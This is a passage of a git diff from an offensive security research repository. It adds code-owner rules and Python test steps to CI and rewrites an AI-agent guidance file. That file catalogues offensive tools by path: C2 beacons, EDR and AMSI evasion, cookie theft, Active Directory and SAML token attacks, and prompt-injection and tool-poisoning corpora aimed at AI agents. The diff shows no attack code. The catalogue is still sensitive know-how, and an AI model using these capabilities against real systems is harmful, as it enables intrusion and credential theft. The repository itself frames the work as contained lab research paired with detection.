diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS new file mode 100644 index 0000000..4891e4e --- /dev/null +++ b/.github/CODEOWNERS @@ -0,0 +1,32 @@ +# CODEOWNERS — security-sensitive files require explicit review approval. +# +# Syntax: [ ...] +# GitHub enforces these on every PR that touches the matched paths. +# "Required reviewers" must approve before merge regardless of branch protection. + +# ── Symbol allowlist gate ──────────────────────────────────────────────────── +# Any change to the BOF symbol allowlist must be reviewed by a maintainer. +# See tools/rust/bof-loader/src/symbol_table.rs header for PR requirements. +/tools/rust/bof-loader/src/symbol_table.rs @AndrewAltimit + +# ── Containment library ────────────────────────────────────────────────────── +# The containment library is the primary safety boundary for all offensive tools. +/tools/lib/containment.py @AndrewAltimit +/tools/rust/containment/ @AndrewAltimit + +# ── CI checks ──────────────────────────────────────────────────────────────── +# CI enforcement scripts must not be weakened without review. +/tools/ci/ @AndrewAltimit + +# ── C2 transport profiles ───────────────────────────────────────────────────── +# Transport profiles control beacon communications; changes need review. +/tools/c2/profiles/ @AndrewAltimit +/tools/c2/transports/ @AndrewAltimit + +# ── Docker lab topology ─────────────────────────────────────────────────────── +# Network topology changes affect all lab tools. +/docker-compose.lab.yml @AndrewAltimit + +# ── Repository configuration ───────────────────────────────────────────────── +/.github/ @AndrewAltimit +/CLAUDE.md @AndrewAltimit diff --git a/.github/workflows/main-ci.yml b/.github/workflows/main-ci.yml index 9cd5da2..db804bc 100644 --- a/.github/workflows/main-ci.yml +++ b/.github/workflows/main-ci.yml @@ -34,6 +34,37 @@ jobs: fetch-depth: 1 clean: true + # -- Python Environment Setup ------------------------------------------- + - name: Set up Python environment (uv) + timeout-minutes: 10 + run: | + uv sync --all-packages + echo "### Python Environment" >> $GITHUB_STEP_SUMMARY + echo "✅ uv sync complete — $(uv pip list | wc -l) packages installed" >> $GITHUB_STEP_SUMMARY + + # -- Python Tests ------------------------------------------------------- + - name: Python tests + timeout-minutes: 10 + run: | + uv run pytest \ + tools/lateral-movement/rpc-movement/tests/ \ + tools/lateral-movement/sccm-abuse/tests/ \ + tools/lateral-movement/azure-arc/tests/ \ + tools/lateral-movement/exchange-hybrid/tests/ \ + tools/edr-silencing/callback-integrity/tests/ \ + tools/browser-native-postex/tests/ \ + tools/bofs/tests/ \ + -v --tb=short 2>&1 | tee /tmp/pytest-output.txt + PASSED=$(grep -c "PASSED" /tmp/pytest-output.txt || true) + FAILED=$(grep -c "FAILED" /tmp/pytest-output.txt || true) + echo "### Python Tests" >> $GITHUB_STEP_SUMMARY + if [ "$FAILED" -eq 0 ]; then + echo "✅ $PASSED passed, 0 failed" >> $GITHUB_STEP_SUMMARY + else + echo "❌ $PASSED passed, $FAILED failed" >> $GITHUB_STEP_SUMMARY + exit 1 + fi + # -- Python Syntax Check ------------------------------------------------ - name: Python syntax check timeout-minutes: 5 @@ -73,7 +104,7 @@ jobs: echo "### Secret Scan" >> $GITHUB_STEP_SUMMARY # Check for .env files (should not exist) - if find . -name ".env" -not -name ".env.example" | grep -q .; then + if find . -name ".env" -not -name ".env.example" -not -path './.venv/*' | grep -q .; then echo "FAIL: .env file found in repo" echo "- ❌ .env file found" >> $GITHUB_STEP_SUMMARY FAIL=1 @@ -91,7 +122,7 @@ jobs: # Check for binary files that shouldn't be here BINARIES=$(find . \( -name "*.zip" -o -name "*.tar.xz" -o -name "*.tar.bz2" \ -o -name "*.mp4" -o -name "*.exe" -o -name "*.so" -o -name "*.dylib" \) \ - -not -path './.git/*' 2>/dev/null) + -not -path './.git/*' -not -path './.venv/*' 2>/dev/null) if [ -n "$BINARIES" ]; then echo "FAIL: Binary files found:" echo "$BINARIES" diff --git a/.github/workflows/pr-validation.yml b/.github/workflows/pr-validation.yml index b0dbf51..c27c621 100644 --- a/.github/workflows/pr-validation.yml +++ b/.github/workflows/pr-validation.yml @@ -43,6 +43,37 @@ jobs: fetch-depth: 1 clean: true + # -- Python Environment Setup ------------------------------------------- + - name: Set up Python environment (uv) + timeout-minutes: 10 + run: | + uv sync --all-packages + echo "### Python Environment" >> $GITHUB_STEP_SUMMARY + echo "✅ uv sync complete" >> $GITHUB_STEP_SUMMARY + + # -- Python Tests ------------------------------------------------------- + - name: Python tests + timeout-minutes: 10 + run: | + uv run pytest \ + tools/lateral-movement/rpc-movement/tests/ \ + tools/lateral-movement/sccm-abuse/tests/ \ + tools/lateral-movement/azure-arc/tests/ \ + tools/lateral-movement/exchange-hybrid/tests/ \ + tools/edr-silencing/callback-integrity/tests/ \ + tools/browser-native-postex/tests/ \ + tools/bofs/tests/ \ + --tb=short 2>&1 | tee /tmp/pytest-output.txt + PASSED=$(grep -c "PASSED" /tmp/pytest-output.txt || true) + FAILED=$(grep -c "FAILED" /tmp/pytest-output.txt || true) + echo "### Python Tests" >> $GITHUB_STEP_SUMMARY + if [ "$FAILED" -eq 0 ]; then + echo "✅ $PASSED passed, 0 failed" >> $GITHUB_STEP_SUMMARY + else + echo "❌ $PASSED passed, $FAILED failed" >> $GITHUB_STEP_SUMMARY + exit 1 + fi + # -- Python Syntax Check ------------------------------------------------ - name: Python syntax check timeout-minutes: 5 @@ -84,7 +115,7 @@ jobs: FAIL=0 # .env files - ENV_FILES=$(find . -name ".env" -not -name ".env.example" -not -path './.git/*' 2>/dev/null) + ENV_FILES=$(find . -name ".env" -not -name ".env.example" -not -path './.git/*' -not -path './.venv/*' 2>/dev/null) if [ -n "$ENV_FILES" ]; then echo "::error::.env file found: $ENV_FILES" FAIL=1 @@ -94,7 +125,7 @@ jobs: BINARIES=$(find . \( -name "*.zip" -o -name "*.tar.xz" -o -name "*.tar.bz2" \ -o -name "*.7z" -o -name "*.mp4" -o -name "*.pdf" \ -o -name "*.exe" -o -name "*.so" -o -name "*.dylib" \) \ - -not -path './.git/*' 2>/dev/null) + -not -path './.git/*' -not -path './.venv/*' 2>/dev/null) if [ -n "$BINARIES" ]; then echo "::error::Binary files found: $BINARIES" FAIL=1 @@ -103,7 +134,7 @@ jobs: # Downloaded browser directories BROWSER_DIRS=$(find . \( -name "chrome-win64" -o -name "chrome-linux64" \ -o -name "js-shell" -o -name "js-shell-149" \) -type d \ - -not -path './.git/*' 2>/dev/null) + -not -path './.git/*' -not -path './.venv/*' 2>/dev/null) if [ -n "$BROWSER_DIRS" ]; then echo "::error::Downloaded browser directories found: $BROWSER_DIRS" FAIL=1 diff --git a/CLAUDE.md b/CLAUDE.md index fbe1116..b180015 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -2,288 +2,156 @@ Guidance for AI coding agents working in this repository. -## Repository Structure - -This is a general-purpose security research repository. It is NOT specific to Databricks - the Databricks assessment is one report among potentially many. - -``` -exploits/ -├── cves/{chrome,firefox}/{year}/CVE-YYYY-NNNNN/ # CVE reproductions -├── tools/ -│ ├── rust/ # Rust workspace - compiled target-side tools -│ │ ├── beacon/ # Beacon client binary -│ │ ├── containment/ # ContainmentGuard lib (Rust port) -│ │ └── jitter/ # Jitter algorithm lib (Rust port) -│ ├── idol/ # IDOL worm PoC -│ ├── win-remote/ # Windows remote tooling -│ ├── fuzzing/ # Fuzzers (JIT, IPC, V8) -│ ├── framework/ # Browser Exploit Framework exploit framework -│ │ ├── modules/recon/ # Touch/recon tools -│ │ ├── configs/ # YAML module configs -│ │ ├── targets/ # Per-version target matrices -│ │ └── lib/ # Module loader, chain builder -│ ├── validator/ # Pre-exploitation target validation -│ ├── post-exploit-staging/ # Three-tier staging architecture -│ │ ├── stager/ # Minimal in-memory stager -│ │ ├── loader/ # Reflective payload loader -│ │ └── commands/ # Command implementations -│ ├── c2/ # C2 architecture analysis -│ │ ├── profiles/ # Traffic mimicry profiles -│ │ ├── beacon/ # Beacon detection tools -│ │ └── redirector/ # Redirector analysis -│ ├── dashboard/ # Session management dashboard -│ └── forensic-analysis/ # Forensic artifact analysis -├── docs/{advisories,analysis,methodology}/ # Research documents -├── reports/databricks-apps-assessment/ # Streamlit report -├── site/ # GitHub Pages static site -│ └── dashboard/ # WebAssembly dashboard build -└── infra/{docker,scripts}/ # Build infrastructure -``` - -## Where Things Live +This is a **general-purpose security research repository**. It is not specific to +Databricks — the assessment report is one deliverable among many. -### CVEs +--- -Each CVE lives at `cves///CVE-/`. Target is `chrome` or `firefox`. Each CVE directory should contain: -- A README with vulnerability description, affected versions, and reproduction steps -- Exploit or trigger source files -- Patch analysis notes if applicable - -### Tools - -Standalone tools live in `tools//`. Each tool has its own README and dependencies. - -**Shared infrastructure:** -- `lib/containment.py` - ContainmentGuard: enforces loopback-only networking, non-root, tmpdir isolation, Docker detection. All tools use this. - -**Rust target-side tools** (`tools/rust/`): -- `rust/beacon/` - Compiled beacon client binary. 8 hardcoded commands, analytics-style HTTP. Build: `cd tools/rust && cargo build --release`. -- `rust/containment/` - Rust ContainmentGuard: `assert_loopback_only`, `assert_under_fixture_root`, `assert_imds_is_mock`, `assert_lab_tenant`, `assert_offline_vm`. -- `rust/jitter/` - All 5 jitter algorithms as iterators. Used by beacon. -- `rust/cookie-theft/` - Chrome v10/v11 cookie decryption (DPAPI / app-bound). Fixture-root gated. -- `rust/syscalls/` - Hell's Gate + Tartarus Gate. Compile-time 5-syscall allowlist. Windows-specific. -- `rust/syscalls-hwbp/` - Hardware-breakpoint (DR0–DR3 + VEH) syscall dispatch; bypasses userland EDR hooks without memory modification. [v4] -- `rust/sleep-mask/` - Ekko (timer-queue RC4) and Foliage (APC). Windows-specific. -- `rust/sleep-mask-modern/` - Cronos (fiber + RC4 stack encryption), RustyCronos (pure-Rust), HWBP-driven sleep. Supersedes sleep-mask for current EDR evasion. [v4] -- `rust/threadless-inject/` - Module stomping, Phantom DLL hollowing (TxF), DLL-notification-callback hijack (TheirHazard). [v4] -- `rust/etw-ti-aware/` - Passive ETW-TI detection, EDR provider GUID enumeration (20 vendors), hooked-stub fingerprinting. [v4] -- `rust/telemetry-patch/` - ETW/AMSI prologue patching with restore path and memory-diffing detector. -- `rust/crypto/` - Shared crypto primitives. -- 308+ tests across all crates: `cd tools/rust && cargo test` -- `tools/rust/target/` is gitignored — do not commit build artifacts. - -**C2 tools** (v4 modular architecture): -- `c2/server.py` - C2 server: session crypto (X25519 + ChaCha20-Poly1305), SQLite, task dispatch, operator REST API. Extended with WebSocket endpoint, profile hot-reload, and relay topology API. Loopback only. -- `c2/transports/` - Pluggable transport layer: `http_polling/`, `websocket/`, `grpc/`, `passive_smb_pipe/`, `dns_over_https/`. Factory at `__init__.py`. Each has `detection/` with Sigma/KQL rules. [v4] -- `c2/profiles/` - Dynamic YAML transport profiles (schema + hot-reload via watchdog). 4 reference profiles: `low_and_slow`, `noisy_burst`, `working_hours_office`, `dns_only_egress_restricted`. [v4] -- `c2/relay/` - P2P relay node (Unix socket, relay chains depth ≥2) + topology graph API for dashboard. [v4] -- `c2/beacon/beacon_client.py` - Python beacon client (HTTP polling, 8 commands). -- `c2/beacon/jitter.py` - Jitter algorithms. -- `c2/beacon/beacon_analysis.py` - Beacon pattern detection for defenders. -- `dashboard/` - Session management: multi-transport view, profile editor, relay topology graph. - -**Equation Group-inspired tools** (added 2026-04-08): -- `framework/` - Browser Exploit Framework: YAML configs, chain builder, exploit server. -- `validator/` - Pre-exploitation target validation. -- `framework/modules/recon/` - Browser fingerprinting and patch detection. -- `post-exploit-staging/` - Three-tier staging: exploit → stager → payload. -- `forensic-analysis/` - Artifact detection, audit gap analysis. -- `fuzzing/` - GVN, LICM, Range Analysis, IPC, V8 Turbofan fuzzers. - -**v3 identity and post-exploitation tools** (2026-04-20): -- `entra-abuse/` - Device-code phishing, PRT extraction, token replay, CA bypass. Targets mock-entra (127.0.0.1:9100). -- `post-exploit-staging/commands/k8s_recon/` - K8s pod recon: SA token enum, IMDS theft, escape checks, cross-namespace pivot. -- `ci/check_detection_pairing.py` - CI gate: every module needs `detection/`. -- `ci/check_no_committed_drivers.py` - CI gate: blocks `*.sys`. -- `ci/check_no_real_tenants.py` - CI gate: blocks production Entra/AWS/GCP/Azure IDs. [v4 extended] - -**v4 tradecraft modernization tools** (2026-04-20): -- `ad-cs/` - AD CS ESC1–ESC15: Python enumerator + 15 exploit modules + chain.py (ESC1→TGT→ccache). Lab: `make lab-adcs-up`. [v4] -- `kerberos/` - S4U2self/S4U2proxy, RBCD chain, NTLM relay, targeted roasting with crack-time estimates. [v4] -- `cloud-identity/wif/` - WIF wildcard-sub abuse, cross-cloud pivot. Mock OIDC issuer on 127.0.0.1:9300. [v4] -- `cloud-identity/oidc-trust/` - OIDC trust confusion (fork-PR/CodeCov pattern). [v4] -- `cloud-identity/golden-saml/` - Golden SAML (xmlsec1 signing) + Storm-0558-style OIDC token forging. [v4] -- `cloud-identity/entra-2026/` - Entra 2026 reality check: 19-technique viability matrix. [v4] -- `cloud-identity/databricks/` - Databricks OAuth OBO chain abuse + token-audience confusion. [v4] -- `llm-attacks/indirect-injection/` - 51-payload corpus (7 channels) + delivery harness + eval. [v4] -- `llm-attacks/mcp-abuse/` - MCP server tool poisoning, capability confusion, rug-pull demo. [v4] -- `llm-attacks/agent-confusion/` - Confused-deputy PoCs + transcript detector. [v4] -- `llm-attacks/eval/` - Injection benchmark harness with regression tracking. [v4] -- `browser-ext-attacks/` - MV3 extension catalog (cookie, session, form, DNR), Cyberhaven update-hijack sim, manifest scorer, CDP runtime monitor. [v4] -- `byovd/` - BYOVD orchestration framework (hash-only manifest, HVCI blocklist checker). No driver files committed. [v4] -- `edr-silencing/wdac-abuse/` - WDAC policy generator/analyzer (deny-by-hash, downgrade-to-audit). [v4] -- `edr-silencing/ppl-bypass/` - PPL bypass research + patch timeline (all pure-software bypasses patched 2022+). [v4] -- `edr-silencing/blind-spot-enum/` - EDR coverage map + 11 named gap advisories. [v4] - -**Contained lab environment:** -- `docker-compose.lab.yml` - Docker Compose: C2 server, 2 beacons, exploit server, 2 target apps, mock-entra (9100), mock-imds (9200). `make lab-up` / `make lab-down`. -- `Makefile` - All lab targets: `lab-up`, `lab-k8s-up`, `lab-adcs-up`, `lab-llm-up`, `lab-saml-up`, `lab-databricks-up`, `lab-oidc-up`. [v4 extended] -- `infra/lab/ad-cs/` - Vagrant: dc01 (DC+CA, 192.168.56.10) + ws01 + ws02. Domain: `corp.lab.local`. [v4] -- `infra/lab/llm-target/` - Ollama + copilot Flask app (port 8080). Internal network only. [v4] -- `infra/lab/mock-databricks/` - Mock Databricks Apps OAuth/OBO/SCIM (port 9500). [v4] -- `infra/lab/mock-saml/` - Mock SAML SP/IdP for Golden SAML demos (port 9400). [v4] -- `infra/lab/mock-entra/` - Mock Entra IdP (RFC 8628, PRT SSO). -- `infra/lab/mock-imds/` - Mock IMDS (port 9200). -- `infra/lab/kind-cluster/` - K8s post-ex kind cluster. - -### Documentation - -Research notes, methodology write-ups, and advisory analysis go in `docs/`. Subdirectories: -- `advisories/` - vendor advisory analysis -- `analysis/` - deep-dive technical analysis -- `methodology/` - general techniques and approaches +## Hard Rules -### Reports +These apply everywhere, always. CI will reject violations. + +| Rule | Enforced by | +|------|-------------| +| No compiled binaries, `.so`, `.dylib`, `.exe`, browser builds | `.gitignore` | +| No `*.sys` driver files | `ci/check_no_committed_drivers.py` | +| No real tenant/org IDs (Entra, AWS, GCP, Azure) | `ci/check_no_real_tenants.py` | +| Every offensive module under `tools/` needs a `detection/` subdirectory | `ci/check_detection_pairing.py` | +| No `.env` files, API keys, tokens, credentials | `.gitignore` | + +--- + +## Containment Pattern + +Every tool gates on these environment variables via `ContainmentGuard` (`tools/lib/containment.py` +for Python, `tools/rust/containment/` for Rust): + +| Variable | Purpose | +|----------|---------| +| `EXPLOIT_LAB_ACTIVE=1` | Required to run any offensive tool | +| `EXPLOIT_LAB_OFFLINE_VM=1` | Required for tools that touch kernel or IMDS | +| `EXPLOIT_FIXTURE_ROOT=` | Scopes all file I/O to a tmpdir | +| `ENTRA_LAB_TENANT_ID=` | Must match a known lab tenant, never production | + +Tools that target a domain hard-check for `corp.lab.local` and reject anything else. +Tools that call IMDS hard-check `assert_imds_is_mock()` before any network request. + +--- + +## Adding New Content + +**New CVE:** `cves///CVE-/` — README + source files. +Update `cves/README.md` and root `README.md`. -Security assessment deliverables go in `reports//`. The Databricks assessment is the primary report. - -### Infrastructure - -Docker images and build scripts live in `infra/`. Dockerfiles for browser builds, fuzzing harnesses, etc. - -## Databricks Assessment Report - -The Databricks report at `reports/databricks-apps-assessment/` is a single-file Streamlit app built from fragments: - -- Source lives in `src/` as numbered Python files (`_00_header.py` through `_99_dispatch.py`) -- `python build.py` concatenates them into `app.py` -- `python build.py --check` verifies `app.py` matches `src/` -- **`app.py` is a build artifact** - edit `src/` files, never `app.py` directly -- Files share a single global scope; imports go in `_00_header.py` only -- No `src/` file imports from another `src/` file - -## Documentation Index - -### CVE READMEs - -#### Chrome - -| CVE | Year | README | Additional Docs | -|-----|------|--------|-----------------| -| CVE-2024-0517 | 2024 | [README](cves/chrome/2024/CVE-2024-0517/README.md) | [analysis](cves/chrome/2024/CVE-2024-0517/analysis.md) | -| CVE-2024-1939 | 2024 | [README](cves/chrome/2024/CVE-2024-1939/README.md) | [sandbox-escape](cves/chrome/2024/CVE-2024-1939/sandbox-escape.md) | -| CVE-2024-5830 | 2024 | [README](cves/chrome/2024/CVE-2024-5830/README.md) | [exploitation-notes](cves/chrome/2024/CVE-2024-5830/exploitation-notes.md) | -| CVE-2025-13223 | 2025 | [README](cves/chrome/2025/CVE-2025-13223/README.md) | | -| CVE-2025-5959 | 2025 | [README](cves/chrome/2025/CVE-2025-5959/README.md) | | -| CVE-2025-6558 | 2025 | [README](cves/chrome/2025/CVE-2025-6558/README.md) | [exploitation-notes](cves/chrome/2025/CVE-2025-6558/exploitation-notes.md) | -| CVE-2026-2441 | 2026 | [README](cves/chrome/2026/CVE-2026-2441/README.md) | [analysis](cves/chrome/2026/CVE-2026-2441/analysis.md), [exploitation-notes](cves/chrome/2026/CVE-2026-2441/exploitation-notes.md), [patch-diff](cves/chrome/2026/CVE-2026-2441/patch-diff.md) | -| CVE-2026-3909 | 2026 | [README](cves/chrome/2026/CVE-2026-3909/README.md) | | - -#### Firefox - -| CVE | Year | README | Additional Docs | -|-----|------|--------|-----------------| -| CVE-2024-29943 | 2024 | [README](cves/firefox/2024/CVE-2024-29943/README.md) | [browser-port-analysis](cves/firefox/2024/CVE-2024-29943/browser-port-analysis.md) | -| CVE-2024-29944 | 2024 | [README](cves/firefox/2024/CVE-2024-29944/README.md) | [patch-analysis](cves/firefox/2024/CVE-2024-29944/patch-analysis.md), [chain-integration](cves/firefox/2024/CVE-2024-29944/chain-integration.md) | -| CVE-2024-8381 | 2024 | [README](cves/firefox/2024/CVE-2024-8381/README.md) | [analysis](cves/firefox/2024/CVE-2024-8381/analysis.md) | -| CVE-2024-9680 | 2024 | [README](cves/firefox/2024/CVE-2024-9680/README.md) | [exploitation-notes](cves/firefox/2024/CVE-2024-9680/exploitation-notes.md) | -| CVE-2025-2857 | 2025 | [README](cves/firefox/2025/CVE-2025-2857/README.md) | | -| CVE-2025-4918 | 2025 | [README](cves/firefox/2025/CVE-2025-4918/README.md) | | -| CVE-2025-4919 | 2025 | [README](cves/firefox/2025/CVE-2025-4919/README.md) | | -| CVE-2026-2795 | 2026 | - | [analysis](cves/firefox/2026/CVE-2026-2795/analysis.md) | -| CVE-2026-2796 | 2026 | [README](cves/firefox/2026/CVE-2026-2796/README.md) | | - -### Research Docs - -| Document | Path | -|----------|------| -| CVE overview table | [cves/README.md](cves/README.md) | -| Patch analysis | [docs/analysis/patch-analysis.md](docs/analysis/patch-analysis.md) | -| Sandbox escape analysis | [docs/analysis/sandbox-escape-analysis.md](docs/analysis/sandbox-escape-analysis.md) | -| Older CVE candidates | [docs/analysis/older-cve-candidates.md](docs/analysis/older-cve-candidates.md) | -| AArch64 porting status | [docs/analysis/aarch64-porting-status.md](docs/analysis/aarch64-porting-status.md) | -| Exploit chain analysis | [docs/analysis/exploit-chain-analysis.md](docs/analysis/exploit-chain-analysis.md) | -| Manifest V3 capabilities | [docs/analysis/manifest-v3-capabilities.md](docs/analysis/manifest-v3-capabilities.md) | -| Entra 2026 state of play | [docs/analysis/entra-2026-state-of-play.md](docs/analysis/entra-2026-state-of-play.md) | -| AI-accelerated pipeline | [docs/methodology/ai-accelerated-exploit-pipeline.md](docs/methodology/ai-accelerated-exploit-pipeline.md) | -| Pre-exploitation obfuscation | [docs/methodology/pre-exploitation-obfuscation.md](docs/methodology/pre-exploitation-obfuscation.md) | -| Post-exploitation impact | [docs/methodology/post-exploitation-impact.md](docs/methodology/post-exploitation-impact.md) | -| Threat scenario playbook | [docs/methodology/threat-scenario-playbook.md](docs/methodology/threat-scenario-playbook.md) | -| AD CS attack modeling | [docs/methodology/ad-cs-attack-modeling.md](docs/methodology/ad-cs-attack-modeling.md) | -| Kerberos lateral movement | [docs/methodology/kerberos-lateral-movement.md](docs/methodology/kerberos-lateral-movement.md) | -| LLM attack modeling | [docs/methodology/llm-attack-modeling.md](docs/methodology/llm-attack-modeling.md) | -| Modern C2 architecture | [docs/methodology/modern-c2-architecture.md](docs/methodology/modern-c2-architecture.md) | -| Modern evasion techniques | [docs/methodology/modern-evasion-techniques.md](docs/methodology/modern-evasion-techniques.md) | -| Browser extension supply-chain | [docs/methodology/browser-extension-supply-chain.md](docs/methodology/browser-extension-supply-chain.md) | -| EDR silencing via policy | [docs/methodology/edr-silencing-via-policy.md](docs/methodology/edr-silencing-via-policy.md) | +**New tool:** `tools//` — README + `requirements.txt` (Python) or `Cargo.toml` (Rust). +Add a `detection/` directory. Update root `README.md`. + +**New report:** `reports//` — source + build instructions. Update root `README.md`. + +**New Rust crate:** add to `tools/rust/Cargo.toml` `[workspace] members`. + +--- + +## Databricks Report + +The report at `reports/databricks-apps-assessment/` is a concatenated Streamlit app. + +- Edit files under `src/` (`_00_header.py` … `_99_dispatch.py`) — **never** `app.py` +- Build: `python build.py` — Check: `python build.py --check` +- All imports belong in `_00_header.py` only; no cross-imports between `src/` files + +--- + +## Index + +### CVEs +→ [cves/README.md](cves/README.md) — full CVE table (Chrome + Firefox, 2024–2026) + +### Lab Environment +→ [Makefile](Makefile) — all `make lab-*` targets with usage notes +→ [docker-compose.lab.yml](docker-compose.lab.yml) — Docker lab topology +→ [infra/lab/ad-cs/README.md](infra/lab/ad-cs/README.md) — Vagrant AD CS lab (dc01 + ws01 + ws02) + +### C2 & Beacon +→ [tools/c2/README.md](tools/c2/README.md) — server, transports, relay, profiles +→ [tools/c2/transports/README.md](tools/c2/transports/README.md) — pluggable transport layer +→ [tools/rust/beacon/src/main.rs](tools/rust/beacon/src/main.rs) — Rust beacon binary + +### Rust Evasion Crates +→ [tools/rust/callstack-spoof/README.md](tools/rust/callstack-spoof/README.md) — SilentMoonwalk call stack spoofing +→ [tools/rust/amsi-patchless/README.md](tools/rust/amsi-patchless/README.md) — HWBP patchless AMSI/ETW bypass +→ [tools/rust/bof-loader/README.md](tools/rust/bof-loader/README.md) — COFF/BOF executor + symbol allowlist +→ [tools/rust/syscalls-hwbp/src/lib.rs](tools/rust/syscalls-hwbp/src/lib.rs) — HW-BP syscall dispatch +→ [tools/rust/sleep-mask-modern/src/lib.rs](tools/rust/sleep-mask-modern/src/lib.rs) — Cronos / RustyCronos sleep masks +→ [tools/rust/threadless-inject/src/lib.rs](tools/rust/threadless-inject/src/lib.rs) — Module stomping / TxF / DLL-notify +→ [tools/rust/etw-ti-aware/src/lib.rs](tools/rust/etw-ti-aware/src/lib.rs) — ETW-TI + EDR provider enumeration + +### Lateral Movement +→ [tools/lateral-movement/README.md](tools/lateral-movement/README.md) — module overview +→ [tools/lateral-movement/rpc-movement/README.md](tools/lateral-movement/rpc-movement/README.md) — DCOM/TSCH/SCMR/WMI +→ [tools/lateral-movement/sccm-abuse/README.md](tools/lateral-movement/sccm-abuse/README.md) — SCCM ELEVATE1/2 +→ [tools/lateral-movement/azure-arc/README.md](tools/lateral-movement/azure-arc/README.md) — Azure Arc MSI pivot +→ [tools/lateral-movement/exchange-hybrid/README.md](tools/lateral-movement/exchange-hybrid/README.md) — evoSTS token forge +→ [tools/kerberos/README.md](tools/kerberos/README.md) — S4U2self/proxy, RBCD, NTLM relay + +### AD CS & Identity +→ [tools/ad-cs/README.md](tools/ad-cs/README.md) — ESC1–ESC15, chain.py +→ [tools/cloud-identity/README.md](tools/cloud-identity/README.md) — WIF, OIDC, Golden SAML, Entra +→ [tools/entra-abuse/README.md](tools/entra-abuse/README.md) — device-code, PRT, token replay + +### Browser & Extension Attacks +→ [tools/browser-native-postex/README.md](tools/browser-native-postex/README.md) — WASM post-ex payload +→ [tools/browser-ext-attacks/README.md](tools/browser-ext-attacks/README.md) — MV3 extension catalog + +### LLM & Agent Attacks +→ [tools/llm-attacks/README.md](tools/llm-attacks/README.md) — injection, MCP abuse, agent confusion + +### EDR Silencing +→ [tools/edr-silencing/callback-integrity/README.md](tools/edr-silencing/callback-integrity/README.md) — kernel callback enumeration +→ [tools/edr-silencing/wdac-abuse/README.md](tools/edr-silencing/wdac-abuse/README.md) — WDAC policy tools +→ [tools/edr-silencing/blind-spot-enum/README.md](tools/edr-silencing/blind-spot-enum/README.md) — EDR coverage map +→ [tools/byovd/README.md](tools/byovd/README.md) — BYOVD orchestration (hash-only) + +### Exploitation Framework +→ [tools/framework/README.md](tools/framework/README.md) — Browser Exploit Framework +→ [tools/post-exploit-staging/README.md](tools/post-exploit-staging/README.md) — three-tier staging +→ [tools/fuzzing/README.md](tools/fuzzing/README.md) — JIT / IPC / V8 fuzzers + +### BOFs +→ [tools/bofs/README.md](tools/bofs/README.md) — safe BOF implementations (whoami, ls, env) + +### Research Docs — Analysis +→ [docs/analysis/patch-analysis.md](docs/analysis/patch-analysis.md) +→ [docs/analysis/sandbox-escape-analysis.md](docs/analysis/sandbox-escape-analysis.md) +→ [docs/analysis/exploit-chain-analysis.md](docs/analysis/exploit-chain-analysis.md) +→ [docs/analysis/entra-2026-state-of-play.md](docs/analysis/entra-2026-state-of-play.md) +→ [docs/analysis/amsi-bypass-timeline.md](docs/analysis/amsi-bypass-timeline.md) +→ [docs/analysis/kernel-callback-removal-research.md](docs/analysis/kernel-callback-removal-research.md) +→ [docs/analysis/manifest-v3-capabilities.md](docs/analysis/manifest-v3-capabilities.md) +→ [docs/analysis/aarch64-porting-status.md](docs/analysis/aarch64-porting-status.md) + +### Research Docs — Methodology +→ [docs/methodology/callstack-spoofing.md](docs/methodology/callstack-spoofing.md) +→ [docs/methodology/bof-loading-and-safety.md](docs/methodology/bof-loading-and-safety.md) +→ [docs/methodology/rpc-lateral-movement.md](docs/methodology/rpc-lateral-movement.md) +→ [docs/methodology/modern-lateral-movement.md](docs/methodology/modern-lateral-movement.md) +→ [docs/methodology/browser-native-postex.md](docs/methodology/browser-native-postex.md) +→ [docs/methodology/modern-evasion-techniques.md](docs/methodology/modern-evasion-techniques.md) +→ [docs/methodology/modern-c2-architecture.md](docs/methodology/modern-c2-architecture.md) +→ [docs/methodology/ad-cs-attack-modeling.md](docs/methodology/ad-cs-attack-modeling.md) +→ [docs/methodology/kerberos-lateral-movement.md](docs/methodology/kerberos-lateral-movement.md) +→ [docs/methodology/llm-attack-modeling.md](docs/methodology/llm-attack-modeling.md) +→ [docs/methodology/browser-extension-supply-chain.md](docs/methodology/browser-extension-supply-chain.md) +→ [docs/methodology/edr-silencing-via-policy.md](docs/methodology/edr-silencing-via-policy.md) +→ [docs/methodology/threat-scenario-playbook.md](docs/methodology/threat-scenario-playbook.md) +→ [docs/methodology/ai-accelerated-exploit-pipeline.md](docs/methodology/ai-accelerated-exploit-pipeline.md) +→ [docs/methodology/post-exploitation-impact.md](docs/methodology/post-exploitation-impact.md) +→ [docs/methodology/pre-exploitation-obfuscation.md](docs/methodology/pre-exploitation-obfuscation.md) ### Advisories +→ [docs/advisories/cve-2026-1862-research.md](docs/advisories/cve-2026-1862-research.md) +→ [docs/advisories/cve-2026-5281-research.md](docs/advisories/cve-2026-5281-research.md) +→ [docs/advisories/firefox-ai-cves-research.md](docs/advisories/firefox-ai-cves-research.md) -| Advisory | Path | -|----------|------| -| CVE-2026-1862 research | [docs/advisories/cve-2026-1862-research.md](docs/advisories/cve-2026-1862-research.md) | -| CVE-2026-5281 research | [docs/advisories/cve-2026-5281-research.md](docs/advisories/cve-2026-5281-research.md) | -| Firefox AI CVEs research | [docs/advisories/firefox-ai-cves-research.md](docs/advisories/firefox-ai-cves-research.md) | - -### Tools - -| Tool | Path | -|------|------| -| ContainmentGuard (shared lib) | [tools/lib/containment.py](tools/lib/containment.py) | -| IDOL worm PoC | [tools/idol/README.md](tools/idol/README.md) | -| C2 server (live) | [tools/c2/server.py](tools/c2/server.py) | -| C2 transport layer [v4] | [tools/c2/transports/README.md](tools/c2/transports/README.md) | -| C2 P2P relay [v4] | [tools/c2/relay/relay_node.py](tools/c2/relay/relay_node.py) | -| C2 transport profiles [v4] | [tools/c2/profiles/profile_schema.py](tools/c2/profiles/profile_schema.py) | -| Beacon client (live) | [tools/c2/beacon/beacon_client.py](tools/c2/beacon/beacon_client.py) | -| AD CS enum + ESC1–15 [v4] | [tools/ad-cs/README.md](tools/ad-cs/README.md) | -| AD CS exploit chain [v4] | [tools/ad-cs/exploit/chain.py](tools/ad-cs/exploit/chain.py) | -| Kerberos tooling [v4] | [tools/kerberos/README.md](tools/kerberos/README.md) | -| Cloud identity attacks [v4] | [tools/cloud-identity/README.md](tools/cloud-identity/README.md) | -| WIF abuse [v4] | [tools/cloud-identity/wif/wif_abuse.py](tools/cloud-identity/wif/wif_abuse.py) | -| Golden SAML [v4] | [tools/cloud-identity/golden-saml/golden_saml.py](tools/cloud-identity/golden-saml/golden_saml.py) | -| Entra 